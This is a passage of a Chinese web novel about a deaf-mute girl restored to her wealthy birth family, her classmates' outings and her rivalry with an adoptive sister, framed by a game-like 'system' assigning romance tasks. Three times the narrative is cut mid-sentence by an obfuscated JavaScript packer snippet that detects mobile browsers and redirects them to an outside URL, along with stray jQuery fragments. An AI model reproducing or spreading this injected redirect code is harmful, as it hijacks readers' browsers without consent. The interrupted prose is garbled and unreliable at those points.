胡挚回身透过窗户看向池映雪,雪神果然又在默背; 万苏瑶记性不行,背完就忘,池映雪推荐她试试手抄下来加深记忆,此时正在奋笔疾书。 更别说本来就在本班成绩上游的章子健和秋怡。 说好一起当学渣,好像最后只剩他一个人了。 胡挚吸了吸鼻子,也翻开被冷待已久的语文书,边啃鸡蛋糕边含糊地朗诵。 中午放学后,秋怡组织几人去医院看望徐静萌。 徐静萌刚病假那会她们就提过这件事,但被她以不让学生分心为由拒绝,没想到这次发烧会持续这么久。 秋怡身为班长,思来想去,还是带着池映雪她们赶在国庆放假前来了。 医院离虹文不远,坐地铁十来分钟。 进了住院大楼,一行人脚步刻意放轻,其中池映雪个子最小,走在最前面。 池映雪抱着一个玻璃罐站在单人病房门口,还没有闲出手敲门,白色的门就从里面打开。 齐幂还穿着早上给她们上课时的那身冷灰色衬衫和深黑西裤,看见他们,冰块脸抽搐了一下,打过招呼后迅速离开。 徐静萌住院时最放心不下的就是池映雪,和她用企鹅沟通过。 她告诉池映雪那个即时语音转文字小程序是齐幂找人帮忙做的,比市面上软件性能还好些,还有他们之前在办公室争论的内容。 徐静萌:「齐老师是我大学的校友,性格比较糟糕,容易造成误解,但你要相信老师们都信任你,只是处理方式不同。」 「要是我像最近这样不在或者临时没空,你尽管找他。」 池映雪看了一眼齐幂的背影,比最开始顺眼许多。 五分钟后。 李闻蝉和胡挚、章子健三个男生去放牛奶和果篮,池映雪被病床上的徐静萌抱住。 离的很近,耳边似乎能感受到微弱的哭腔和震感。 徐静萌刚刚打开了由池映雪抱来的那个玻璃罐,里面装着大家手叠的32只千纸鹤,将缤纷的卡纸展开,还有每个人专门为她写的“早日康复”等话。 池映雪被抱得紧紧的,抬起眼和万苏瑶相视一笑,秋怡在旁边呵护徐静萌手上的针管。 徐静萌平复好后,和秋怡一问一答班里的近况。 秋怡:“对了萌萌姐,有件事你肯定不信。” “那俩人。” 她神神秘秘地指向一旁观赏工作日志的李闻蝉和胡挚,“他俩开始发愤图强了。” 徐静萌:……她还在烧着吗? 真的假的? 徐静萌不可思议地打量着最令她头疼的两个学生,看上去都没什么变化啊。 不,李闻蝉这小子有点不一样。 这个男孩长相优越,气质卓群,她一直知道,但他之前可没有现在这样注重穿衣打扮。 在学校里校服一敞,不然就是黑卫衣一套,顶多换成纯色T或者运动套装。 今天却在灰色连帽卫衣里叠穿黑T,外套一件深黑色大衣,黑包黑裤子,风格色系统一,在颜色上细微变化,有种精心设计过的层次感。 徐静萌都懒得去纠结李闻蝉又不好好穿校服这件事。 她很有自知之明,他绝不会是因为要来看她才这样打扮。 不管怎样,往好的方向改变,总让人欣慰。 从医院出来,一行人决定在回校前先填饱肚子,最终走进一家肯爷爷。 池映雪很喜欢扫码点单这个功能,记得小时候零星几次单独出门吃饭,总是要自备纸笔写下想吃的东西,现在就没那么麻烦。 六人围着一个白色长方形桌,坐在高脚凳上,面对面用企鹅拉了个群聊天。 万苏瑶:「把穆雨阳也拉进来,班群叫写作业不如跳(5),这个群就叫永远在一(7)吧!」 秋怡:「还有没有别的想法?」 胡挚发了一个猪猪侠的表情包:「人善被人(7)怎么样?」 秋怡把群名称改成万苏瑶说的那个。 胡挚在下面刷了一屏的句号,池映雪抿着嘴偷笑,突然被告知期中考推迟的好消息。 章子健:「@小雪你应该没听见萌萌姐最后的话,期中并到十校联考,迟了一个周。」 万苏瑶:「(放鞭炮)」 万苏瑶:「那我们国庆节就不用急着复习了,我让我爸妈把原定的旅游计划灵活调整下,咱约出去玩吧!」 胡挚:「对对,可以约一两回的,一共七天呢。我爸说四号带我去农场玩,但那地方最多也就待两三天。」 秋怡:「那要不就明天?我后天要去亲戚家,@小雪@CHAN,你俩明天有安排吗?」 李闻蝉:「没。」 池映雪:「我应该没有的,回家后我再确认一下。」 她原本想找许苹安和裴景出去玩,但七中不参与这次联考,已经定了期中考的时间,就在国庆收假后。 许苹安被父母压着好好复习,裴景更是面临升入高三后第一场大型考试,都没有空。 池映雪抬头环顾了一圈聚在一起的几人,捏了捏掌心,有件事想说。 国庆最后一天是她的生日。 说来很巧,她和池鲤鲤的生日是九九重阳,都习惯过阴历。 今年是她回家后第一次生日,之前没人提起,池映雪差点都要像在应家那样忘了,然而就在昨晚,池润在饭桌上主动提起这件事。 他们要为她筹办一场生日宴会,就像以前为池鲤鲤办的那样,而且届时会正式向圈内人介绍她的回归。 池映雪想邀请大家,可又觉得当面说太不好意思。 她一下一下捋着头发,决定今晚回去后就在7人群里问问,再给他们寄请柬。 餐好了,三个男生一起去端。 胡挚靠在出餐台等店员打甜筒,章子健刚要端起餐盘,李闻蝉伸手按住。 “换一下这两个汉堡。” 李闻蝉淡声道,“一会吃东西方便。” 章子健低头,换完后李闻蝉的那盘里是他和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635261|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池映雪点的餐点,他们也正好坐在对面。 真的是正好么? 章子健沉吟片刻,想起昨晚和秋怡一起值日时的聊天,怀疑的目光投向李闻蝉:“蝉哥。” “你是不是喜欢你同桌?” 李闻蝉端起餐盘的手抖了一下,两杯可乐摇晃,里面的冰块发出清脆的撞击声。 幸好有不透明的杯子和上面的杯盖遮挡,看不出来也洒不出来。 “没有啊。” 声调淡然。 李闻蝉眸色平静地转身,和章子健一起闲庭信步地迈步,目不斜视。 “你为什么会这么想?” 章子健:“这个嘛……也不止我一个人这么想吧。” “就是感觉你对她有点不一样。” “哦。” “哦?”李闻蝉蹙眉,“有吗?” 看他这么淡定,章子健摆摆手:“没有……那应该是我们想多了。” 已经走到方桌附近,李闻蝉瞥见池映雪的发旋,脚步放慢。 谁喜欢谁啊。 等到开吃的时候,胡挚用薯条蘸甜筒,指了指李闻蝉面前装蛋挞的小方盒:“你点了这个啊?我之前刷到过,不知道好不好吃。” 章子健:“限定的么?” “嗯,杨枝甘露。” 胡挚回忆了一下,“据说超级甜。” 李闻蝉打开纸盒,蛋挞心上果然盛满椰奶、西米和大颗的芒果。 池映雪歪着脑袋,新奇地盯着被他裹了一张餐巾纸拿起来的蛋挞看,她还是第一次见这样的蛋挞呢。 李闻蝉瞥了她一眼,捏蛋挞的手指不自觉加力,蛋挞上面那些液体险些流下来。 略狼狈地稳住之后,李闻蝉和胡挚对视,捧着黄白相间的蛋挞念道:“金风玉露一相逢,便胜却人间无数。” 胡挚:? 池映雪埋头吃汉堡,在心里感慨。 李闻蝉现在真的好刻苦,吃东西都要背古词。 她也要接着努力才行! 章子健还特意留意了一下两人的动作。 李闻蝉的蛋挞有两个,都自己吃了,一点要分给池映雪的意思也没有,甚至没有礼貌的提问。 他给了秋怡一个眼神,摇了摇头。 秋怡郁闷。 她嗑错了? 吃汉堡占着手,没人用手机,而是七嘴八舌地聊天。 每当这个时候,池映雪就垂着眼睛,安安静静地啃着汉堡,时不时瞥向热热闹闹的伙伴们,露出弯弯如月的笑眼。 唯一能发出声音让她听见的李闻蝉,快速吃完后去卫生间洗手,池映雪的世界彻底安静下来。 有点落寞。 要是可以知道他们在聊什么就好了。 池映雪几口塞完汉堡,猛地吸一大口可乐,擦了擦手,在群里说话。 小雪:「(探头)」 小雪:「我也想聊天。」 万苏瑶的手机就在旁边,一眼就看见了。 她的表情有一瞬僵硬,和秋怡胡挚对视几眼,回她:「来!」 瑶瑶:「我们正在遗憾椅子虎子国庆要出去玩,好几天见不到面呢。」 池映雪下意识觉得他们刚才的氛围不像是在聊这个,但没有怀疑的理由。 她接话:「是哦。」 「中秋放假的时候,还没有这样的感受,现在突然感觉舍不得放假。」 放了假就见不到大家了。 学校里天天见面的时候感受不到,池映雪现在发现她好喜欢和这几个人待在一起,一天也不想分开,哪怕什么也听不到,什么话都不能说。 胡挚:「啊不不不,那我还是想放假的。」 胡挚:「难怪我学渣呢,就没有雪神这觉悟。」 池映雪扬起唇。 李闻蝉一回来就看见她的表情,眼睫垂下来,拍了拍胡挚的背:“聊什么呢,这么开心?” 胡挚让他看六人群,调侃道:“小雪神舍不得咱呢。” 李闻蝉:“哦——” 有店员来收吃完的餐盘,池映雪和李闻蝉坐在最外面,店员向前伸手,恰好将二人隔开。 李闻蝉抬起餐盘上没喝完的可乐,随口道一声谢。 杯里冰块哗啦哐啷,池映雪不由也捏紧自己手里的可乐杯,听见正对面散漫而比汽水更清的声音。 “没事。” 李闻蝉挑起一边的眉,随口就来,“友情若是久长时,又岂在朝朝暮暮。” 42. 第 42 章 秦书出门与策划师沟通,客厅里,晚自习放学的池映雪在池润对面坐下,发消息说想邀请班上的同学参加生日会。 上次和李闻蝉吃完宵夜后,隔日爸爸和哥哥就风尘仆仆地赶回来,还买了礼物补偿。 得知池映雪一个人被剩下,池润生气地把秦书和池鲤鲤叫来训斥了一顿,看向池映雪的眼神总是心虚而愧疚。 等待回复的时候,池映雪呆呆地端详客厅里富丽堂皇的装饰。 秋光透过高大的欧风落地窗,在地面上投影白金色的格,还有一缕照着秦书细心呵护的插花上,很宁静的美。 她想要的也不过是这些。 李闻蝉说她没有出息,不争气,还在渴望得到爸妈的陪伴,或许是吧。 但池映雪真的想不通,明明是血缘亲情,为什么原作里她的至亲们都偏爱池鲤鲤,现实中也在池鲤鲤对她发火后轻轻揭过呢? 可如果连家人都不要她,应家也用十余年告诉她那里没有她的容身之地,池映雪不知道自己还能去哪。 池润:「没问题,请柬今晚送到你房间。都有哪些人?」 池映雪一五一十地打出名字,池润眼神一亮:「新昶药业的胡家和电视台万台长的孙女?小雪你真是太让爸爸惊喜了,记得到时候把他们的父母也邀请来。」 池映雪的笑容淡下去。 她根本不知道他说的这些,交朋友也从来没有别的心思。 这样的话,就好像她们的关系并不纯粹一样。 小雪:「爸爸,我先上楼了。」 池润的眉头皱起,终究没有说什么。 池怀元正好端着水果过来,得知此事,劝道:“单纯是好事啊,小雪能交到好朋友,我们应该为她高兴。” “毕竟现在想起来,不论兄弟还是好友,学生时代的感情才最真挚,也最长久。” 池怀元的神色染上怀念,转瞬消散在蒙蒙如月的眉眼间。 池映雪之前一直是走楼梯回房间,但别墅的一层很高,台阶也很多。 直到月考后吃蛋糕的那天,和爸爸哥哥一起上楼,她才知道原来家里是有电梯的。 池映雪背着书包走进电梯间,正要按下关门的按钮,一道漂亮高傲的纤影闪入。 池鲤鲤按了三楼,匀称的手臂伸出,整个电梯间漫开她身上的高调香水味。 她背着和池映雪一样的书包,当年限定的玫红色,微卷的头发垂在肩带上,头顶戴着精致的发箍。 眉眼已初步脱离未成锐利的青涩,染上有攻击性的美艳和张扬。 像天鹅,像公主。 池映雪最近多了些底气,第一次敢如此直接地正视小说里被她衬托的这位女主角。 看见池映雪,池鲤鲤也好像是惊讶了一下,转而露出敌视的神态。 2楼很快就到,池映雪率先走出,身后的书包带却被拉住。 池鲤鲤举起手机。 「池映雪。」 「不要妄想和我争星桥哥哥,他是我的。」 池映雪一愣。 池鲤鲤最讨厌她这幅看似什么都懵懂的眼神,就是这样一个让所有人放松警惕的聋哑人,第一次考试就轻松将她踩在脚下。 她直接去拽池映雪的书包,池映雪张开嘴,却发不出任何声音,只能伸手抵抗。 争斗间红书包掉在地上,金属扣松开,最外层的文件袋和文具袋一起向外冒头。 池映雪急忙弯腰去捡文件袋,紧捏在手上,确认里面的画没有折到,松了口气。 和她同时伸出手的还有池鲤鲤,只不过目标是笔袋。 池鲤鲤拉开拉链,里面果然有一根模样熟悉的钢笔。 池鲤鲤冷笑几声,眼眶泛红,把钢笔握在手心捏了又松,直到被池映雪夺回。 池映雪迅速收拾好书包,重新背上,又收到她的新消息。 chill:「我和他青梅竹马快17年了,你以为你在他面前卖卖惨换来的这点感情是喜欢吗?他只是善良,同情你而已。」 chill:「你不过考好了一次,不会钢琴,不会社交,不会演讲,你比不过我的。」 chill:「我最后警告你一次,离他远点。」 小雪:「你没有资格替我做决定。」 小雪:「沈星桥也不是你的物品。如果你有意见,应该去找他,而不是对我放狠话。」 回到卧室,系统破口大骂:[她凭什么那么趾高气昂啊?我要向上面投诉、投诉!这种人也能当女主吗?!!] 池映雪也皱起眉,但不想在背后多说。 她摸了摸系统:“这场生日宴会应该挺重要的吧?我想看看剧情。” [有的!我差点气忘了!] 电子屏弹出一个剧情点,名字就叫“宴会”,这次没有ABC的选项。 [“宴会”是重要剧情点,和之前的“发现抱错”,以后的“期中考试”“研学旅行”……一样,都只按照角色视角解锁。] 系统看了眼池映雪目前积累的400字,为难道,[目前字数最少的视角是宁世延,但他也有435字的单人剧情了。] 池映雪眼睛一亮:“也就是说我可以解锁自己的视角?” [是的!] 系统弹出一个锁住的文本框,[宿主正好有600字的戏份。] [宿主可以抓紧时间做任务,做两个就可以解锁啦!] 池映雪看向空气中的浮屏。 [任务面板: 1.给彼此一个爱的备注。 2.创作有关男主的作品x1,并得到夸夸。 3.送出爱的明信片。 4.和男主私奔。 5.与男主牵手。] 什么叫给彼此一个爱的备注? 她还能叫李闻蝉给她改备注不成。 池映雪无奈地盯了这个任务一会,系统忽然在这行字下面加上下划线。 [宿主可以先给男主大人改了嘛。]它的下一句话颜色很淡,[说不定有意外惊喜呢。] 池映雪想想也是,点开企鹅,苦思冥想了一会,把CHAN改成了“李闻蝉”。 系统:[……] 系统:[宿主觉得这个备注有爱吗?] “没有吗?”池映雪一本正经地把好友列表往下翻,“只有他有备注诶,这还不够有爱吗?” 系统:[你说呢?] 池映雪一咬牙,在“李闻蝉”后面加了一个红色爱心的emoji。 现在该有爱了吧! [叮!“给彼此一个爱的备注”任务完成,更新为:“让男主吃下你亲手做的食物”。] 池映雪:? 怎么就完成了。 李闻蝉……给了她什么备注? 次日下午,池映雪站在卧室的全身镜前整理刘海,黑亮的眼睛里写满期待和忐忑。 先梳整齐,再往左边拨斜,又觉得不满意,往右边拨。 最终还是选择了齐刘海,软软的头发披在肩上,较之从前,富有珍珠般的光泽。 乳白色的垂坠娃娃领衬衫作为内搭,长到小腿肚的浅天蓝色牛仔裙面料很柔和,白色袜子的边上绣着几朵小花,和头发一侧别着的花花发卡相得益彰。 这么穿会好看吗? “我天。” 城市的繁华中心,万苏瑶在地铁站里每走一步就要回头望一眼池映雪,“我天,我天……” 秋怡:“你已经说了27次‘我天’了。” “我天,你不觉得吗?” 万苏瑶忍不住直接跨步去拉住池映雪的手,“小雪以后都这么穿吧,太好看了!!” 池映雪虽然听不见她在说什么,光看眼神也知道话里的意思。 她脸蛋羞红,紧抿着唇不让笑意扩散,任由万苏瑶拉着往出口走。 国庆第一天,又是南城人流量最大的街市口,现代商业气息浓郁的广告大屏下人头攒动,摩肩接踵。 尤其是地下通道,里面空气很闷,时不时迎面走来举着扩音器和导游杆的旅行团。 池映雪很怕在这样的环境里走散,紧紧抓住万苏瑶的手,直到和李闻蝉他们在另一个地铁口汇合。 熟悉的脚步声落入耳畔,池映雪下意识看了他一眼,他也正好在看她。 不过李闻蝉很快就把头转开,手搭上胡挚的肩:“去哪儿来着。” “你不是刚才问过?” 胡挚奇怪道,“先去手作店,再去红杏吃下午饭,然后按照万姐在群里发的那个链接citywalk。” 他眼睛一转,挑起眉打量着池映雪,随口道:“雪神今天打扮得还怪好看。” “是吧,蝉哥?” 李闻蝉已经抬脚跟上大部队向前走,胡挚估计他是没听见,也赶紧跟上去。 手作店是章子健姑姑开的,在广场二期八层的黄金地段。得知他们要来,章姑姑留下几名店员招待,为六人包场。 小小的店面别有洞天,温馨的木调装修,一整面墙都用来拜访可爱美观的成品样品。 六个脑袋挤在一起看两份清单,这里可以做石膏娃娃、流体熊、香薰蜡烛、陶艺,还可以画油画…… 池映雪想不出要做什么,但意识到这是个好机会。 做手工也算是创作,得做个好看的,让李闻蝉夸她。 池映雪在成品橱柜前晃来晃去,眼神一亮。 ——那不是李闻蝉的头像吗? 她停在一个蓝颜色的石膏娃娃前,找到对应的空白娃娃,仔细回忆。 应该就是这个,看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635262|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像小狗,耳朵和嘴都很大,耳朵里面是粉颜色,牙齿又尖又多。 万苏瑶见池映雪一个人站在柜前,小跑过去贴贴,低头瞅瞅她手里的石膏像:“咦。” 瑶瑶:「小雪你喜欢星际宝贝呀?」 池映雪看向这个又滑稽又可爱的蓝狗,原来它叫星际宝贝吗? 她点开浏览器搜索,还真是,它还有个名字叫史迪奇,也有叫史迪仔的。 万苏瑶现在有消息就发在7人小群里,其余几人也看见了。 李闻蝉刚系上画油画要用的围裙,桌上的手机就弹出消息,手指随意划开,进入群聊的界面后却就这么停在空中。 [叮!攻略对象好感+0.5。] [当前男主好感:39.5。] 章子健咳嗽了几声,拉过秋怡:“你说你是不是感觉反了?” 史迪奇,蝉哥头像不就是? 他第一次见的时候还暗自惊奇了一番,这卡通画和他反差也太大了。 秋怡头发都快抓秃,依然坚持反问:“但你觉得小雪喜欢李闻蝉,可能吗?” 章子健沉默。 论成绩,雪神ko。 论外貌,他蝉哥一等一,可池映雪也越来越亮眼了好么。 论气质,蝉哥威名在外,恶名远扬; 池映雪是老师眼里好学生、乖乖女的代表,萌萌姐呵护她跟眼珠子似的。 用句不好听的话来讲,那就不是一个世界的人,他俩关系能这么好就是意外中的意外了。 秋怡盖棺定论:“我总觉得小雪就算要有喜欢的人,也该是那种温温柔柔、会细腻呵护人的,还得是和她差不多水平的学神。” “别的不说,我觉得她还是挺慕强的。” 章子健头脑里冒出一个完美契合的人选。 那个人好像大概也许还是她的…… “未婚夫”。 万苏瑶在某书上找了一个石膏娃娃上色的教程,从调色到涂色技巧十分详细。 池映雪根据她分享的链接在身后的小推车上选颜料,不打算按史迪奇原本的配色涂,而是在调色盘里混合出浅浅的薄荷绿。 肤色涂完,她满意的勾起唇,拿起红色颜料,准备调出粉色,却发现瓶子空了。 万苏瑶拿着瓶子去找店员,池映雪闲着也是闲着,干脆起身在店里转转。 不远处的油画区,木质画板前,胡挚和章子健左右围着李闻蝉。 池映雪好奇地瞥去一眼,瞬间被画布上的色彩吸引。 好漂亮的白色。 白茫中藏匿着明媚的斑斓,像是冬日雪地薄冰下反射的湖光,雪地远处的枝头和葡萄藤掩映着粉紫色夕霞。 几人中间的少年,身前围裙已经染上颜料的彩痕,丝毫没有被外界干扰,狭长的黑眸里写满专注,骨节分明的手稳稳握着画笔,描摹光影的轮廓。 池映雪知道他画画好看,没想到油画也这么在行。 她刚才了解到一般人来这里都是体验油画,根据数字填涂颜色,李闻蝉却是完全自己创作,看上去还相当专业。 她忽然发现她在很多方面都不太了解他。 章子健注意到池映雪,给她让位,被池映雪摇摇头拒绝。 章子健想了想,主动道:「蝉哥画画很厉害的,他妈妈好像是画家。」 池映雪想起在小传里一晃而逝的家庭介绍,睫毛垂下一层阴影,默默地走回去继续上色。 章子健是这里的常客,这次过来没什么想玩的,自觉坐到前台帮姑姑对下账。 秋怡在店员的指导下做香薰蜡烛,胡挚紧紧跟随李闻蝉,选择了数字油画。 但他没什么耐心,蝉哥画画又太投入。 胡挚憋的要死,把笔一扔去骚扰别人。 胡挚转到万苏瑶旁边,看了眼她和池映雪中间的手机,噗嗤一声笑出来,指着她的大作:“姐,你这玲娜贝儿是去非洲美黑过了吗?” 万苏瑶哼了一声,没理他。 胡挚自讨没趣,移了个位置看池映雪手里的,也是和人家史迪仔两模两样。 “哇!小雪大师好会创新!” 他给池映雪竖大拇指。 万苏瑶:“……” 池映雪礼貌地笑了笑,低头给石膏娃娃的耳朵里画上小花和藤蔓。 她也觉得她画的不错,涂色比之前画人物简单多了。 唯一可惜的是夸她的人不是李闻蝉。 她俩的看完了,胡挚直起身打算去别处,一起来就看见身后的颀长身影。 “蝉哥你吓死我了!” 胡挚揉着心口,“你啥时候站在这的?我一点声音都没听见!” 李闻蝉用湿纸巾擦手,冰凉的指心按揉着染上粉色的耳朵。 “……刚刚。” 43. 第 43 章 奶酪面包 vs 池映雪听到熟悉的声音,洗画笔的手抖了抖,盆中的水颜色更浊,激起一阵水花。 此时,七人群聊里,在老家的穆雨阳也看到了消息。 雨后阳光:「(图片)我在苦逼的写卷子,你们在快乐的玩耍。(枯萎)」 瑶瑶:「呵呵,这算什么。」 瑶瑶:「刚听小雪说,她为了放松的出来玩,作业都快写完了。」 雨后阳光:「膜拜大佬!!」 李闻蝉松开手指,移向脑后的头发,汗颜地抚了一把。 ……笨鸟先飞也就算了,这么聪明的鸟怎么还这么刻苦。 看来他还是不够努力。 胡挚跑去前台黏章子健,池映雪余光里的人影少了一道。 她连忙回头,只见李闻蝉侧着头看向胡挚离去的方向,似乎也要离开。 万苏瑶还在旁边聚精会神地上色。 池映雪伸出手,又缩回来,终究还是没拉住他的围裙。 算了,先画完再说吧。 池映雪低下头叹了口气,整理着干干净净的围裙。 鼻尖忽然多了一抹湿润冰凉的触感,隐约可以嗅见清香。 再抬眼,李闻蝉手里还攥着刚刚拆开的湿巾。 白色的湿巾上赫然一抹粉红,应该是她不小心沾上去的颜料。 池映雪下意识用手再擦一下,结果发现手上更脏,当场呆住。 李闻蝉扭过头去闷笑,弯下腰来,单手撑着膝盖再次擦拭掉颜料痕。 “别动。” 他用的气音,口型清晰。 离得有些近,池映雪不由看向万苏瑶,幸好她没注意到。 李闻蝉很快擦完,池映雪接过湿巾净手,等她弄干净,李闻蝉也回到了油画的那张桌子前。 池映雪郁闷地转身。 重新执笔,蘸着油绿色的笔锋点缀出叶子的形状,左手边的屏幕变亮。 李闻蝉:「是好看。」 池映雪惊喜地微微张嘴。 她又完成了一个任务! 系统的播报却迟迟不来,池映雪催促系统,只得到悠悠的答复:[任务是创作相关的作品得到男主夸夸,宿主确定男主夸的是作品吗?] 池映雪一头雾水:“不是石膏娃娃,还能是什么?” 为了证明,她特意回复:「你说的是史迪奇吗?」 李闻蝉隔了好一会才回过来两个字:「当然。」 池映雪对系统露出一个得意的表情。 [叮!“创作有关男主的作品x1,并得到夸夸”任务完成,更新为:“和男主一起睡觉”。] 池映雪的手猛然一颤,绿色颜料差点抹在史迪奇的脸上。 这任务怎么越来越离谱了。 一天的行程结束,夜幕降临,一行人在市中心灯红酒绿的街头散步。 路过一家私房面包店,万苏瑶兴致勃勃地拉着池映雪和秋怡进去。 烘焙的面包香扑面而来,池映雪在一个陈列着芝士和奶酪面包的木架前驻足。 饭后等万苏瑶去洗手间的空隙,她解锁了“宴会”的剧情。 印象最深的是写她如何卑微地觊觎沈星桥,烘托池鲤鲤的美好。 [而在角落,有一道阴暗的视线始终追随着与池鲤鲤跳舞的沈星桥。 真千金今天可谓在宴会出尽洋相:没有可以交流的对象;干瘪的身材配不上华美的礼服,像是偷穿别人裙子的丑小鸭;不懂西餐礼仪,不会吃鱼子酱,就连千金少爷们笑话她也听不到。 上流阶级的晚宴没有单纯的慈善家,谁会放着优秀可爱的小公主池鲤鲤不关注,去留意一个聋子,一个哑巴。 就算池映雪是今天宣布回归的真女儿,但只要池鲤鲤在,主角永远只会是她。 池映雪甚至没敢上前。沈星桥的白色礼服和池鲤鲤相得益彰,所有人的表情都在映照他们的般配。 她喜欢沈星桥,和池鲤鲤一样,但不管是在班上还是现在,站在光下的永远是温柔的王子与耀眼的公主。 池映雪明白,沈星桥在下课时路过她座位的顺手指点是同学间的礼貌,在走廊相遇时微笑颔首是因为他的教养,对他来说,她实在太微不足道。 她有时候甚至会想,沈星桥对她释放善意,是不是因为她是池鲤鲤的“姐姐”。 是不是怕她挤走池鲤鲤,所以帮她稳住她。可就算是这样,池映雪想,只要他不让她和池鲤鲤争,她会的。毕竟她奢求的,不过是经这位小公主手里漏出去的,一点点的爱。 ……] “很奇怪。” 池映雪心想,“系统,我有些难过。” 系统警觉:[宿主难道在为沈星桥和池鲤鲤走在一起难过?不要呀!我就说他会让你伤心的!] 池映雪:“……不吧。” 她垂下眼,“我是为了那个卑微注视着沈星桥和池鲤鲤的‘池映雪’难过。” “我之前觉得,人定胜天,也一直在否定小说里的剧情。” 池映雪深吸一口气,“但我现在觉得那样的想法不对,否定了全部的剧情,就否定了剧情里那个池映雪一切的情感。” “我好像有一点理解,她为什么会喜欢上沈星桥。” 正是因为这样才难过。 眼前的奶酪面包模糊为记忆里便利店包装下的模样,池映雪想起上个暑假。 她和还不能算认识的沈星桥面对面坐在图书馆里,看完一本书,把东西留在桌上,走向还书处。 再回来,两个壮硕的男生已经占领了她的位子,嘴里还嘟囔着什么,她听不见。 也抗议不了。 他们把她的环保袋和书本文具扫到桌子边角,池映雪小跑过去,看见男生手上的肌肉,甚至不敢打扰他们。 瘦小的女孩和聋哑人,叠加在一起格外弱势,她不敢赌对抗的可能,这世界就是这么不讲道理。 她默默把书本往袋子里装,沈星桥忽然停笔,摘下耳机起身。 白色衬衫被微风拂起,落下一阵冷调的香风。 临近下午饭点,池映雪以为他要离开,身子往边上缩,怕挡人家的路。 沈星桥却按住她即将装进袋里的下一本书,敲了敲那两个男生面前的桌。 他表情温和、正式,和他们沟通一番,两个男生落荒而逃。 沈星桥回头看了眼她,把那本书放回桌上,很轻很慢地张口。 坐吧。 池映雪呆愣愣地听话坐下,等不及道谢,沈星桥就离开这里。 十五分钟后,他回来。 池映雪的手边多了一袋面包,一瓶牛奶。 清秀整齐的字条传来:「我上午来的时候你就在这里,是学习太入迷忘记吃午饭了吗?」 「要好好吃饭啊,这位勤奋的同学。」 池映雪的鼻尖瞬间酸到爆炸。 她狼狈地道谢,跑到用餐点去吃,躲在人群的背面才敢流泪。 那天她是被应母赶出来的。起因是她来生理期,被迫强忍腹痛去小吃店做早点,不小心打碎了一个装馄饨的碗。 没有钱,也没有胃口,直到拆开面包的包装袋,她才意识到自己早已饥肠辘辘。 甜牛奶和奶酪面包,池映雪第一次吃,也吃不习惯,可是能充饥,能饱腹,是最珍贵的食物,出现的刚刚好。 池映雪对系统说:“所以在虹文旁边的巷子里遇见沈星桥,我才会觉得命运奇妙,才会放心跟着他走。” “这一次我很幸运,有这么温暖的一群同伴。可是那个留在一班的‘池映雪’,身边唯一的善意,只有他。” 苹安和裴景太远了。没有瑶瑶带着她在虹文周边四处搜罗美食,没有胡挚插科打诨,叫她憧憬过的“雪神”这种称呼。 被抱团冷待,被众人嘲讽,齐幂虽然一视同仁却外表冷酷,穆雨阳那时也应该自顾不暇。 这样的雪中送炭再多几次,那个女孩会喜欢沈星桥并不奇怪。 池映雪深吸了一口气,平复心情,在木架另一侧的玻璃罩反光里看见几个男生凑在一起研究面包的背影。 店里温柔的暖光笼罩在他们身上,有一个人非常惹眼。 池映雪不由恍惚。 如果她在那个世界里也认识了李闻蝉,一切会不会都不一样。 不,关他什么事。 池映雪拍了拍脸。 就算可以,也算了吧。 看看她在原文字里行间流露出的那副惨样,多阴暗,多可怜,因为别人没有放在心上的善意欢欣鼓舞,卑微酸涩。 池映雪莫名更不想让李闻蝉看见那样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635263|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己。 不管在哪里,他都是万众瞩目、意气风发的男主角,如果不是她因为任务刻意接近,他怎么会看得见她呢。 万苏瑶选了一大袋面包付款,又拉着秋怡一起去蛋糕区转悠。 池映雪正想过去,她们已经和店员沟通完了,边说边往男生们的方向走去。 池映雪想起昨天在快餐店里的画面,那时也是这样,几人“背着她”有商有量地说话。她摇摇头,很快把这些烦恼挥出脑海。 应该是她敏感了。 李闻蝉眉头皱了一下,很快地目光流转又收回。 手插在外套兜里捏了捏口袋的布料,终于还是什么也没说。 宴会前一天的深夜,池映雪在房间里试秦书让人送来的礼服。 雪白颜色,精致又乖巧,面料一看就很高级,很好摸。 池映雪决定现在就换上试一试,毕竟剧情里,这条裙子在宴会当天一早池鲤鲤看上。 池鲤鲤哭闹不休,秦书为了哄她,换了二人的礼服,也不知道这次会怎样。 [我有个办法!] 系统探出头来,为尊重宿主隐私,在自己的眼睛前打了两团马赛克。 [宿主也和她一样不就好啦?俗话说得好,会哭的孩子有糖吃嘛!] 池映雪略一迟疑:“你说的对。” 但她恰好不怎么爱吃甜食。 ……除了偏酸的葡萄味,还有微苦的巧克力。 系统转了转眼,想起它的来意:[对了宿主,有个好消息。] 